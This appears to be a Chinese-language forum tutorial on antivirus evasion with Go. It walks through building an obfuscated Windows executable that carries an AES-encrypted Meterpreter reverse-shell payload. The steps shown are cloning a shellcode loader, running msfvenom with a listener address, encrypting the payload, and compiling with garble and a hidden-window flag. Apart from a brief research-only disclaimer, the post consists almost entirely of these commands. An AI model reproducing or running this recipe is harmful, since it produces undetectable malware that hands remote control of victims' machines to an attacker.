基于GO语言的免杀 - X黑手网-Kali Linux论坛-电脑端-X黑手网

基于GO语言的免杀

本文仅供安全研究与学习之用,反对一起危害网络安全行为及其他用途,由使用者承担全部法律及连带责任,作者不承担任何法律及连带责任。

关于

在前面的文章中,我们讲到了利用Python实现加载shellcode实现文件的免杀。本文我们来探讨基于GO的免杀吧。

安装

我们需要先安装go环境。在kali中执行下面命令进行安装。

sudo apt-get update && sudo apt-get install -y golang

image

接下来,我们需要克隆项目到我们的本地。

git clone https://github.com/HZzz2/go-shellcode-loader.git
cd go-shellcode-loader
//下条命令安装第三方混淆库  
go install mvdan.cc/garble@latest

image

生成shellcode并base64

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.123.43 LPORT=5555 -f raw > kali.raw
base64 -w 0 -i kali.raw > kali.bs64
cat kali.bs64

image

image

复制shellcode到aes-sc.go中的44行替换payload

image

运行aes-sc.go生成AES加密后的值

go run aes-sc.go

image

复制输出的值到go-sc.go中的52行替换payload

编译成exe可执行程序

garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go